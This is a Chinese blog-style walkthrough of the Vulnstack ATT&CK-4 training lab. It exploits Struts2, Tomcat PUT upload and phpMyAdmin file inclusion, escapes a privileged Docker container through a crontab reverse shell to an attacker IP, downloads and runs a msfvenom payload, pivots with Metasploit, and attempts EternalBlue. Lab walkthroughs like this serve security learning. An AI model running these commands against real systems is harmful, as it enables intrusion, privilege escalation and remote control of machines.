红日靶场ATT&CK-4

0x01环境搭建

  • 下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

  • 机器账号密码如下:

  • #Web
    ubuntu/ubuntu
    #win7
    douser/Dotest123
    #DC
    administrator/Test2008  后续自行修改密码我这里换成Admin123
  • ubutnu机子先要开三个服务,并且与kali和dc看是否能ping通

    ifconfig
    sudo docker start ec 17 09 ad
    sudo docker ps
    ping [kali-IP]
    ping [Dc-IP]

至此环境搭建完毕

0x02信息搜集

老样子先找下web的ip

arp-scan -l

对这个IP进行完整的探测的扫描,四个端口都开了服务依次进行探测

nmap -p- -sV -Pn -O -T5 192.168.111.132

2001端口是struts2框架

2002端口是Tomcat框架

2003是未授权的phpmyadmin后台

0x03漏洞利用

实际上三个端口都可以getshell,首先是struts2,直接上工具,实际生产环境一般都只出现在内网,外网环境基本上无

Tomcat根据已知版本我查找了Tomcat8.5.19历史漏洞是文件上传CVE-2017-12615,抓包后改put模式确实可以上传

phpmyadmin的是4.8.1版本,这里同样可以用之前靶场的sql日志上传shell也可以,我们这里就专门讲解4.8.1版本的漏洞CVE-2018-12613任意文件包含漏洞

SELECT '<?= phpinfo();?>'

执行后显示的这个session值

说明我们也可上传文件这里

这里我选择struts2的漏洞上传是比较简单的,Tomcat上传jsp还需要一个”/“小绕过,php这个会多点步骤

哥斯拉生成一个shell.jsp,讲shell.jsp的内容复制

上传成功后测试能否连接成功

进来了很可疑,直接是/root目录,怀疑是否为Docker环境,确实是docker环境

id
uname -a
ls -alh /.dockerenv
cat /proc/1/cgroup

这里用到Docker的privileged特权逃逸,Docker逃逸有好几种方法可自行搜索,OK,我这里逃了半天搜了文章发现Struts2框架的逃不了,还是需要用Tomcat的任意文件上传

cat /proc/self/status | grep CapEff   #判断权限机制
fdisk -l  #查看分区情况

使用PUT上传,末尾用’/‘,’%20’,’::$DATA’,均可绕过

再使用哥斯拉重新连接wellshell,ok发现挂载的文件路径

fdisk -l

挂载到我们的目录,写入计划任务

mkdir /test
mount /dev/sda1 /test
touch /test/test.sh
echo 'bash -i >& /dev/tcp/192.168.111.129/9999 0>&1' >> /test/test.sh    #哥斯拉这里一定要用单引号,双引号不行,反弹shell过去
echo '* * * * * root bash /test.sh' >> /test/etc/crontab    #计划任务提权

kali开监听,成功拿到root权限的ubuntu

nv -lnvp 9999

后续我还是打算用msf来进行内网,所以我还是用msf的马

#kali执行
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=8888 -f elf > shell.elf
python -m http.server 80

#root@ubuntu执行
wget http://192.168.111.129/shell.elf
chmod 777 shell.elf
nohup ./shell.elf &    #中断不会挂程序
./shell.elf &

kali开msf监听后再执行shell.elf

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.111.129
set lport 8888
run

0x04内网搜集

对内网网段进行搜集,找到另一个网段192.168.183.0/24

run post/multi/manage/autoroute
run autoroute -p

使用msf探活主机发现另外两台

192.168.183.130-WIN-ENS2VR5TR3N

192.168.183.135

background
use auxiliary/scanner/discovery/udp_probe
set RHOSTS 192.168.183.0/24
set THREADS 5
run

都对进行内网穿透的端口扫描,需要及时配置/etc/proxychains4.conf

use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set VERSION 5
run
jobs

proxychains4 nmap -sT -sV -Pn -T4 -p-  192.168.183.130
proxychains4 nmap -sT -sV -Pn -T4 -p-  192.168.183.135

这里扫到很多端口,有445可能可以利用,我嫌弃扫太慢就断了,有fscan的可以直接上传fscan扫

我们用msf探测445的永恒之蓝的漏洞,这里192.168.183.135变成131了,主播也不知道这里怎么变的了

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.183.130-135
run

我先拿192.168.183.131试,我怕又改了IP,结果翻大车了

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.183.131
set lport 7777
set AutoRunScript post/windows/manage/migrate
run

0x05总结

​ 这个靶场翻车太严重了,我试了全部永恒之蓝的模块打不进去,不知道是kali问题还是靶场环境的问题,每次重新开启虚拟机会一直换IP,搞得后面马还要重新生成,我看了好几篇文章都能之前用永恒之蓝这个最后这个模块打进去,拿取一台主机后,后续再找域是WIN-ENS2VR5TR3N-win2008那台,最后用kiwi抓取密码凭证,再用psexec进行横向移动拿到域控得权限,后续可以参考靶场3,如果下个靶场还是这个问题估计就要换个kali了

​ 但是这个靶机的漏洞利用方便还是很值的学习的,三个不一样的漏洞,其实都可以利用,看如何利用的又快又稳就是看自己的实战经验多不多了